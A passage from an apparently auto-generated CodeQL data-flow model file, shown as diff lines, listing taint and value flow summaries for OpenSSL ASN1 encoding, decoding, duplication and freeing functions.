"(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*3]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*3]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[**2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[**2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[**2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[*2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[**2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[**2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[**2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[**2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[**2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[**2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[*2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[**2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[**2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[**2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp_ex", "(const ASN1_ITEM *,FILE *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_digest", "(const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *)", "", "Argument[*0]", "Argument[2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_digest", "(const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_dup", "(const ASN1_ITEM *,const void *)", "", "Argument[*0]", "Argument[1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_dup", "(const ASN1_ITEM *,const void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_dup", "(const ASN1_ITEM *,const void *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_dup", "(const ASN1_ITEM *,const void *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_dup", "(const ASN1_ITEM *,const void *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_dup", "(const ASN1_ITEM *,const void *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_dup", "(const ASN1_ITEM *,const void *)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_dup", "(const ASN1_ITEM *,const void *)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_ex_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *)", "", "Argument[4]", "Argument[**0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ASN1_item_ex_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *)", "", "Argument[4]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ASN1_item_ex_free", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_free", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_free", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_ex_free", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_ex_free", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_free", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[**0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[**1]", "Argument[**0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[**1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[3]", "Argument[**0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[3]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_item_ex_i2d", "(const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int)", "", "Argument[3]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_item_ex_new", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_new", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_new", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_ex_new", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_ex_new", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ex_new", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_free", "(ASN1_VALUE *,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_free", "(ASN1_VALUE *,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_free", "(ASN1_VALUE *,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_free", "(ASN1_VALUE *,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_i2d", "(const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_item_i2d", "(const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_i2d", "(const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_i2d", "(const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_i2d_bio", "(const ASN1_ITEM *,BIO *,const void *)", "", "Argument[*0]", "Argument[2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_i2d_bio", "(const ASN1_ITEM *,BIO *,const void *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_i2d_fp", "(const ASN1_ITEM *,FILE *,const void *)", "", "Argument[*0]", "Argument[2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_i2d_fp", "(const ASN1_ITEM *,FILE *,const void *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_i2d_mem_bio", "(const ASN1_ITEM *,const ASN1_VALUE *)", "", "Argument[*0]", "Argument[1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_i2d_mem_bio", "(const ASN1_ITEM *,const 